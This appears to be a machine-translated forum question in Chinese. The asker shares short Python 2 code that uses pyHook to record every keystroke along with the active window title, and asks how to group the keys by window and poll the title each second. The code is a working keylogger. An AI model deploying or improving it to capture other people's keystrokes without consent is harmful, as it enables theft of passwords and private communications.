這是一個python鍵盤記錄器和窗口標題採集器的代碼,但我無法同時抓住它們。Python - 窗口標題和鍵盤記錄器
import pythoncom, pyHook ,time
def OnKeyboardEvent(event):
keylog= chr(event.Ascii)
print keylog
key = event.WindowName
print key
time.sleep(0.1)
if(key==event.WindowName):
pass
else:
key = event.WindowName
print key
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
輸出是像
一個開始菜單 b啓動菜單 c啓動菜單 d cmd.exe的
和我需要它像
開始菜單 ABC
cmd.exe d
您好, 感謝您的回覆。你的代碼再次幫助我瞭解了我所得到的。 '開始菜單 一個 b Ç D' 現在,它正在爲WINDOWTITLE重複的條目,但現在我的一些問題 1.正在爲每個字母新的生產線。 2.現在只有在按下按鍵時纔會抓取窗口標題名稱,而且我希望它在每1秒後抓取窗口標題名稱。 3.如果未按下按鍵,它不檢查窗口標題名稱。 希望你能幫助我。 謝謝 – user2137297 2013-03-20 15:24:06